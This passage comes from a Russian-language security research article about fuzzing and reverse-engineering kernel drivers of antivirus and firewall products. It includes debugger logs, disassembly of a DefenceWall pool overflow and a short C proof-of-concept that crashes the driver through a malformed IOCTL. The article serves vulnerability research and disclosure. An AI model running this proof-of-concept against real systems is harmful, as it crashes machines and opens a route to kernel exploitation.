  5. Возобновляем выполнение кода на виртуальной машине (если вы используете WinDbg – нажмите F5), после чего ОС, работающая на виртуальной машине, запишет аварийный дамп (crash dump) на диск.
  6. В ходе анализа аварийного дампа из него извлекается информация о том, при обработке какого именно запроса тестируемое приложение потерпело крах.
  7. При необходимости проводится ручной анализ машинного кода исполняемых файлов тестируемого ПО. Разумеется, на основе полученных в п.6 данных.

Фаззинг в реальных условиях

Идея проверить фаззером именно DefenceWall HIPS пришла мне в голову после прочтения результатов теста на эффективность защиты от новейших вредоносных программ. Этот тест проводился порталом anti-malware (ознакомиться с результатами можно здесь: http://www.anti-malware.ru/node/885), и именно DefenceWall (последняя версия на момент тестирования – 1.74), сравнительно молодой продукт от российских разработчиков, занял первое место по итогам тестирования.

Сказано – сделано. Довольно быстро на виртуальной машине произошло падение подопытного HIPS-а. В логе отладочных сообщений, выводимых фаззером, была следующая информация:

'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x00222050,  Method: METHOD_BUFFERED
  InBuff: 0x0126fd50,  InSize: 0x0000000e
   OutBuff: 0x0126fd50, OutSize: 0x0000000e

'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x00222050,  Method: METHOD_BUFFERED
  InBuff: 0x0126fd50,  InSize: 0x0000000e
   OutBuff: 0x0126fd50, OutSize: 0x0000000e

'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x0022200c,  Method: METHOD_BUFFERED
  InBuff: 0x00dfffb0,  InSize: 0x00000004
   OutBuff: 0x00dfffb0, OutSize: 0x00000004

'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x00222094,  Method: METHOD_BUFFERED
  InBuff: 0x00f60000,  InSize: 0x00080012
   OutBuff: 0x00f60000, OutSize: 0x00080012

Очевидно, что при обработке последнего IRP-запроса с I/O Control Code, равным 0x00222094, исключение и произошло. Далее дело за отладчиком, который поможет нам понять его причину. В ответ на !analyze –v, WinDbg, помимо всего прочего, показал нам такие строки:

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e108b000, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 80536d60, If non-zero, the instruction address which referenced the bad memory
	address.
Arg4: 00000001, (reserved)

Также отладчик сообщил, что адрес 0xe108b000, по которому осуществлялась вызвавшая исключение попытка записи, принадлежит подкачиваемому пулу ядра. А это хорошие новости, так как мы имеем дело с переполнением пула, которое, скорее всего, подлежит эксплуатации. Вывод команд kb (kernel backtrace) и !irp подтвердил предположение об вызвавшем исключение IRP-запросе:

kd> kb
ChildEBP RetAddr  Args to Child        
f7bc63c8 804f780d 00000003 e108b000 00000000 nt!RtlpBreakWithStatusInstruction
f7bc6414 804f83fa 00000003 00000000 c0708458 nt!KiBugCheckDebugBreak+0x19
f7bc67f4 804f8925 00000050 e108b000 00000001 nt!KeBugCheck2+0x574
f7bc6814 8051bf07 00000050 e108b000 00000001 nt!KeBugCheckEx+0x1b
f7bc6874 8053f6ec 00000001 e108b000 00000000 nt!MmAccessFault+0x8e7
f7bc6874 80536d60 00000001 e108b000 00000000 nt!KiTrap0E+0xcc
f7bc6904 f8017040 e107b000 814c100f 815b9760 nt!wcscat+0x1f
WARNING: Stack unwind information not available. Following frames may be wrong.
f7bc6974 f80038d3 814c100f 814a1003 814e100f dwall+0x47040
f7bc6adc 804eddf9 81785670 816db978 806d02d0 dwall+0x338d3
f7bc6aec 80573b42 816db9e8 81694038 816db978 nt!IopfCallDriver+0x31
f7bc6b00 805749d1 81785670 816db978 81694038 nt!IopSynchronousServiceTail+0x60
f7bc6ba8 8056d33c 00000058 00000000 00000000 nt!IopXxxControlFile+0x5e7
f7bc6bdc f8001106 00000058 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f7bc6c20 f9da590f 00000058 00000000 00000000 dwall+0x31106
f7bc6d34 8053c808 00000058 00000000 00000000 IOCTL_fuzzer+0x190f
f7bc6d34 7c90eb94 00000058 00000000 00000000 nt!KiFastCallEntry+0xf8
00cff9ec 7c90d8ef 7c801671 00000058 00000000 ntdll!KiFastSystemCallRet
00cff9f0 7c801671 00000058 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
00cffa50 0042fc3b 00000058 00222094 00f60000 kernel32!DeviceIoControl+0xdd
00cffaa8 0040ce9d 00f50000 00000000 009e0000 DefenseWall+0x2fc3b

kd> !irp 816db978
Irp is active with 1 stacks 1 is current (= 0x816db9e8)
 No Mdl: System buffer=814a1000: Thread 815b9550:  Irp stack trace.  
   cmd  flg cl Device   File   Completion-Context
>[  e, 0]   5  0 81785670 81694038 00000000-00000000  
	     \Driver\dwall
			Args: 00080012 00080012 00222094 00000000

Выделенный адрес есть не что иное, как указатель на структуру _IRP, который передаётся в стеке обработчику IRP_MJ_DEVICE_CONTROL целевого драйвера. Теперь мы можем совершенно точно сказать, что исключение было вызвано запросом с кодом 0x00222094. Дальнейший анализ стека вызовов приводит нас к процедуре, начинающейся по адресу dwall+0x46f00. В самом начале она выделяет участок памяти фиксированного размера в подкачиваемом пуле:

      ; размер выделяемой памяти
f8016f2a 6800000100    push  10000h
; тип пула (1 = PagedPool)
f8016f2f 6a01      push  1
f8016f31 e8eea9fbff    call  dwall+0x1924 (f7fd1924)
f8016f36 8945c4      mov   dwordptr [ebp-3Ch],eax; обратите внимание на отсутствие проверки успешности выделения памяти; такие огрехи не слишком критичны, но могут много чего рассказать о разработчике =)

Далее происходит копирование данных из полученного в IRP-запросе буфера в выделенную память без проверки их размера, что и вызывает переполнение пула:

      ; адрес строки "\\Registry\\Machine\\SOFTWARE\\SoftSphere Technologies\\DefenceWall"
f8017022 68187104f8    push  offset dwall+0x77118 (f8047118) 
; указатель на выделенную ранее память
f8017027 8b45c4      mov   eax,dwordptr [ebp-3Ch]
f801702a 50        push  eax; вызов функции wcscpy
f801702b e8c8670100    call  dwall+0x5d7f8 (f802d7f8)
f8017030 83c408      add   esp,8
; первый параметр, который был передан в функцию dwall+0x46f00; он указывает на данные, которые находятся во входном буфере IRP-запроса по смещению 2000Fh
f8017033 8b4d08      mov   ecx,dwordptr [ebp+8]
f8017036 51        push  ecx; указатель на выделенную ранее память
f8017037 8b55c4      mov   edx,dwordptr [ebp-3Ch]
f801703a 52        push  edx; вызов функции wcscat
f801703b e8be670100    call  dwall+0x5d7fe (f802d7fe)
f8017040 83c408      add   esp,8

Пример Proof of Concept кода, демонстрирующего данную уязвимость, весьма тривиален:

      #include <windows.h>
#include"ntdll.h"#define BUFF_SIZE   0x00080012
#define IOCTL_CODE  0x00222094  

int _tmain(int argc, _TCHAR* argv[])
{
  IO_STATUS_BLOCK StatusBlock;
  NTSTATUS ns;

  // открываем устройство драйвера DefenceWall-а
  HANDLE hDev = CreateFile(
    "\\\\.\\Global\\dwall", 
    GENERIC_READ | GENERIC_WRITE, 
    0, NULL, 
    OPEN_EXISTING, 
    FILE_ATTRIBUTE_NORMAL, 
    NULL
  );  
  if (hDev == INVALID_HANDLE_VALUE)
  {
    // ошибка при открытии устройстваreturn -1;
  }

  // выделяем участок памяти нужного размера для данныхchar *Buff = (char *)VirtualAlloc(NULL, BUFF_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (Buff)
  {
    // заполняем его мусором
    memset(Buff, 'A', BUFF_SIZE);

    // отправляем запрос устройству
    ns = NtDeviceIoControlFile(
      hDev,
      NULL, NULL, NULL,
      &StatusBlock,
      IOCTL_CODE,
      Buff, BUFF_SIZE,
      Buff, BUFF_SIZE
    );
  }  

  CloseHandle(hDev);

  return 0;
}

IOCTL Fuzzer помог мне найти уязвимости не только в DefenceWall-е, но и во многих других антивирусах и продуктах класса Internet Security, которые были протестированы. Этот факт подтверждает весьма хорошие перспективы в плане дальнейшего использования данного метода, даже несмотря на всю его простоту и примитивность.

Ручной поиск уязвимостей

Уязвимости могут скрываться не только в обработчиках IRP-запросов: точек взаимодействия драйвера и других компонентов операционной системы может быть довольно много. К тому же, рассмотренный ранее метод фаззинга не является чем-то самостоятельным, и его стоит воспринимать исключительно как технику сугубо инструментального характера, предназначенную для частичной автоматизации одного из этапов ручного анализа. А раз уж мы сказали, что получение данных драйвером средствами диспетчера ввода-вывода является лишь одной точкой взаимодействия, необходимо уделить внимание и другим возможным:

Рассмотрим все эти пути по порядку.

Очевидно, что полный реверсинг бинарного файла драйвера может оказаться слишком трудоёмким, но в случае, когда драйвер читает данные из файлов или системного реестра, у нас попросту нет другого выбора. Конечно, существуют утилиты вроде Registry Monitor и File Monitor от Марка Руссиновича (http://technet.microsoft.com/en-us/sysinternals/default.aspx), но они предназначены в первую очередь для мониторинга активности со стороны процессов пользовательского режима, и для нахождения точек взаимодействия находящихся внутри конкретных драйверов режима ядра не подходят в принципе. Хотя вполне возможно и самостоятельное написание инструментов подобного плана, которые бы подходили для анализа активности со стороны драйверов режима ядра.

С перехватами функций ядра исследуемым драйвером дела обстоят гораздо лучше: есть масса антируткитов, которые способны их обнаруживать и представлять информацию в виде вполне наглядного отчёта. Для наших целей лучше всего подходит бесплатная утилита под названием Rookit Unhooker, которая уже упоминалась в статье:


Рисунок 8. Rootkit Unhooker нашел перехваты, установленные Kaspersky Internet Security.

Суть дальнейшей работы по поиску уязвимостей заключается в анализе машинного кода обработчиков найденных перехватов с целью установить, насколько корректно обрабатываются получаемые в них данные. По итогам анализа также весьма логичным будет написание узкоспециализированного фаззера, который будет каким-либо образом добиваться передачи управления перехватываемой функции и передачи ей заведомо некорректных параметров. В качестве примера подобного фаззера можно привести утилиту BSODhook (http://www.matousec.com/projects/bsodhook/), которая предназначена для фаззинга перехваченных системных сервисов.

Для перехвата сетевого трафика NDIS драйверы промежуточного уровня вместо перехватов каких-либо функций могут использовать и предусмотренные разработчиками операционной системы методы фильтрации. Рассказ о сути самих методов выходит за рамки тематики данной статьи, но для исследователя будет важен тот факт, что данные методы требуют создания со стороны драйвера-фильтра дополнительных NDIS протоколов и минипортов, с которыми будут ассоциированы функции-обработчики, вызываемые NDIS-библиотекой для передачи драйверу информации о сетевых запросах. Для работы с NDIS протоколами и минипортами отладчик WinDbg имеет расширение под названием ndiskd.dll, которое подробно описано в документации к Debugging Tools For Windows. Использовать это расширение для поиска обработчиков сетевых запросов драйвера-фильтра очень просто. Ниже я продемонстрирую это на примере фильтра, устанавливаемого Outpost Firewall.

kd> !load ndiskd.dll

kd> !protocols
 Protocol 8178ff20: TCPIP_WANARP
  Open 8178fe58 - Miniport: 818bd930 WAN Miniport (IP) - Packet Scheduler Miniport

 Protocol 818b86f8: TCPIP
  Open 817a3da8 - Miniport: 818bd130 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport

 Protocol 81998af8: NDPROXY
  Open 817d3e60 - Miniport: 818c26c8 WAN Miniport (L2TP)
  Open 817d4298 - Miniport: 818c26c8 WAN Miniport (L2TP)
  Open 818a56c0 - Miniport: 818b9538 Direct Parallel
  Open 818a57c0 - Miniport: 818b9538 Direct Parallel

 Protocol 818bc150: PSCHED
  Open 817c8eb8 - Miniport: 818c3130 VMware Accelerated AMD PCNet Adapter - Agnitum firewall miniport
  Open 817cd6f8 - Miniport: 818c5a60 WAN Miniport (IP) - Agnitum firewall miniport
  Open 817d07e0 - Miniport: 818c5130 WAN Miniport (Network Monitor) - Agnitum firewall miniport

 Protocol 818c0e38: RASPPPOE

 Protocol 818c1600: NDISWAN
  Open 818a6c98 - Miniport: 818b9538 Direct Parallel
  Open 817d22f8 - Miniport: 818be7d0 WAN Miniport (PPTP)
  Open 818a7cd0 - Miniport: 818c0900 WAN Miniport (PPPOE)
  Open 81940420 - Miniport: 818c26c8 WAN Miniport (L2TP)

 Protocol 81901260: AFW
  Open 817cb9b8 - Miniport: 818c7ad0 VMware Accelerated AMD PCNet Adapter
  Open 817d02e8 - Miniport: 818c0130 WAN Miniport (IP)
  Open 819e8da8 - Miniport: 818bfb08 WAN Miniport (Network Monitor)

kd> dt _NDIS_OPEN_BLOCK 817cb9b8
NDIS!_NDIS_OPEN_BLOCK
   +0x000 MacHandle    : 0x817cc008 
   +0x004 BindingHandle  : 0x817cb9b8 
   +0x008 MiniportHandle   : 0x818c7ad0 _NDIS_MINIPORT_BLOCK
   +0x00c ProtocolHandle   : 0x81901260 _NDIS_PROTOCOL_BLOCK
   +0x010 ProtocolBindingContext : 0x817cba80 
   +0x014 MiniportNextOpen : (null) 
   +0x018 ProtocolNextOpen : 0x817d02e8 _NDIS_OPEN_BLOCK
   +0x01c MiniportAdapterContext : 0x818a1000 
   +0x020 Reserved1    : 0 ''
   +0x021 Reserved2    : 0 ''
   +0x022 Reserved3    : 0 ''
   +0x023 Reserved4    : 0 ''
   +0x024 BindDeviceName   : 0x818c7ae0 _UNICODE_STRING "\DEVICE\{368D404A-029C-46C5-8ED5-1F440E809B8E}"
   +0x028 Reserved5    : 0
   +0x02c RootDeviceName   : 0x818ad134 _UNICODE_STRING "\DEVICE\{368D404A-029C-46C5-8ED5-1F440E809B8E}"
   +0x030 SendHandler    : 0xf964887b   int  NDIS!ndisMSendX+0
   +0x030 WanSendHandler   : 0xf964887b   int  NDIS!ndisMSendX+0
   +0x034 TransferDataHandler : 0xf965efd5   int  NDIS!ndisMTransferData+0
   +0x038 SendCompleteHandler : 0xf955eaa6   void afw+9aa6
   +0x03c TransferDataCompleteHandler : 0xf955ed06
   +0x040 ReceiveHandler   : 0xf955edfc
   +0x044 ReceiveCompleteHandler : 0xf955ebd8
   +0x048 WanReceiveHandler : (null) 
   +0x04c RequestCompleteHandler : 0xf955eb42
   +0x050 ReceivePacketHandler : 0xf955f118
   +0x054 SendPacketsHandler : 0xf966024f   void  NDIS!ndisMSendPacketsX+0
   +0x058 ResetHandler   : 0xf9660b56   int  NDIS!ndisMReset+0
   +0x05c RequestHandler   : 0xf965d8b7   int  NDIS!ndisMRequestX+0
   +0x060 ResetCompleteHandler : 0xf955eb3a
   +0x064 StatusHandler  : 0xf955f370
   +0x068 StatusCompleteHandler : 0xf955ebf8
   
   ...

Выделенный адрес – указатель на структуру NDIS_OPEN_BLOCK. Он является дескриптором, который возвращает функция NdisOpenAdapter после установки связи между NDIS протоколом, созданным драйвером файрвола (в списке протоколов он называется AFW), и промежуточным NDIS-драйвером, представляющим физический сетевой адаптер.

Очень часто для перехвата сетевого трафика драйверы персональных файрволов подменяют адреса обработчиков в уже имеющихся структурах NDIS_OPEN_BLOCK, которые принадлежат NDIS-протоколу TCPIP (это стандартный NDIS-протокол, создаваемый при загрузке системы драйвером tcpip.sys, в котором реализована функциональность TCP/IP-стека). Следующий пример демонстрирует поиск подобных перехватов, установленных файрволом ZoneAlarm.

kd> !load ndiskd.dll
   
kd> !protocols
 Protocol 81685720: VSDATANT

 Protocol 8179f330: TCPIP_WANARP
  Open 8162d388 - Miniport: 818bf130 WAN Miniport (IP) - Packet Scheduler Miniport

 Protocol 818b8a68: TCPIP
  Open 817ae510 - Miniport: 818be900 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport

 Protocol 819e8508: NDPROXY
  Open 818ab008 - Miniport: 818bd130 Direct Parallel
  Open 818a80d8 - Miniport: 818bd130 Direct Parallel
  Open 818ab6c0 - Miniport: 818c5698 WAN Miniport (L2TP)
  Open 818ab7c0 - Miniport: 818c5698 WAN Miniport (L2TP)

 Protocol 818bef28: PSCHED
  Open 818a95b0 - Miniport: 818c86b8 VMware Accelerated AMD PCNet Adapter
  Open 818aa5b8 - Miniport: 818c3130 WAN Miniport (IP)
  Open 819e7e70 - Miniport: 818c2b08 WAN Miniport (Network Monitor)

 Protocol 818c3e38: RASPPPOE

 Protocol 818c4628: NDISWAN
  Open 818a92f8 - Miniport: 818bd130 Direct Parallel
  Open 818abe90 - Miniport: 818c14a0 WAN Miniport (PPTP)
  Open 818b11f8 - Miniport: 818c3900 WAN Miniport (PPPOE)
  Open 81940f08 - Miniport: 818c5698 WAN Miniport (L2TP)

kd> dt _NDIS_OPEN_BLOCK 817ae510
NDIS!_NDIS_OPEN_BLOCK
   +0x000 MacHandle    : 0x817ae4a0 
   +0x004 BindingHandle  : 0x817ae510 
   +0x008 MiniportHandle   : 0x818be900 _NDIS_MINIPORT_BLOCK
   +0x00c ProtocolHandle   : 0x818b8a68 _NDIS_PROTOCOL_BLOCK
   +0x010 ProtocolBindingContext : 0x817ae728 
   +0x014 MiniportNextOpen : (null) 
   +0x018 ProtocolNextOpen : (null) 
   +0x01c MiniportAdapterContext : 0x817d6250 
   +0x020 Reserved1    : 0 ''
   +0x021 Reserved2    : 0 ''
   +0x022 Reserved3    : 0 ''
   +0x023 Reserved4    : 0 ''
   +0x024 BindDeviceName   : 0x818be910 _UNICODE_STRING "\DEVICE\{D67A5C72-2D77-4C72-98B1-F7E870565167}"
   +0x028 Reserved5    : 0
   +0x02c RootDeviceName   : 0x818ab57c _UNICODE_STRING "\DEVICE\{368D404A-029C-46C5-8ED5-1F440E809B8E}"
   +0x030 SendHandler    : 0x81654018
   +0x030 WanSendHandler   : 0x81654018
   +0x034 TransferDataHandler : 0xf965efd5   int  NDIS!ndisMTransferData+0
   +0x038 SendCompleteHandler : 0xf81e37a8   void  tcpip!ARPSendComplete+0
   +0x03c TransferDataCompleteHandler : 0xf8216681   void  tcpip!ARPTDComplete+0
   +0x040 ReceiveHandler   : 0x81654098
   +0x044 ReceiveCompleteHandler : 0xf81e07ed   void  tcpip!ARPRcvComplete+0
   +0x048 WanReceiveHandler : (null) 
   +0x04c RequestCompleteHandler : 0xf81e6f0b   void  tcpip!ARPRequestComplete+0
   +0x050 ReceivePacketHandler : 0x816540a8
   +0x054 SendPacketsHandler : 0x81654028
   +0x058 ResetHandler   : 0xf9660b56   int  NDIS!ndisMReset+0
   +0x05c RequestHandler   : 0xf965d8b7   int  NDIS!ndisMRequestX+0
   +0x060 ResetCompleteHandler : 0xf82166a3   void  tcpip!ARPResetComplete+0
   +0x064 StatusHandler  : 0xf81f7922   void  tcpip!ARPStatus+0
   +0x068 StatusCompleteHandler : 0xf81f781b   void  tcpip!ARPStatusComplete+0
   
   ...

Обработчики, адреса которых не принадлежат драйверам tcipip.sys или NDIS.sys, являются перехваченными (в приведённом примере их адреса выделены жирным шрифтом). После того, как обработчики принадлежащие драйверу файрвола, найдены, на них можно поставить break point в отладчике и проследить, каким образом обрабатываются принятые сетевые пакеты. Кто знает, может где-то в недрах драйвера найдётся уязвимость, подходящая для удалённой эксплуатации.

Выводы

Уязвимости есть практически везде, и драйверы не являются исключением. Само ядро Windows достаточно безопасно и изучено вдоль и поперек, а это означает, что главной причиной наличия уязвимостей по-прежнему остаётся человеческий фактор со стороны разработчиков уже конкретного конечного продукта, а не программной платформы на которой он работает. Безусловно, кроме ядра в Windows есть множество других компонентов, работающих в режиме ядра, уязвимости в которых находили, находят, и будут находить, но это уже проблемы исключительно Microsoft, и от ответственности они никого не избавляют. В случае с защитным ПО ситуация также усугубляется тем, что даже самый качественный и тщательно протестированный программный код может не сыграть в конечном итоге никакой роли, если на этапе его проектирования достаточного внимания не было уделено фундаментальности подхода к разработке самой архитектуры и базовых принципов работы защиты. Однако я очень надеюсь, что кого-то из разработчиков моя статья заставит задуматься и сделать определённые выводы, которые впоследствии скажутся на результатах их работы самым положительным образом. В конце концов, ничего сложного в написании «непробиваемого» кода нет, нужны всего лишь чуточка внимания и немного аналитического мышления.


Эта статья опубликована в журнале RSDN Magazine #1-2009. Информацию о журнале можно найти здесь
    Сообщений 16    Оценка 287        Оценить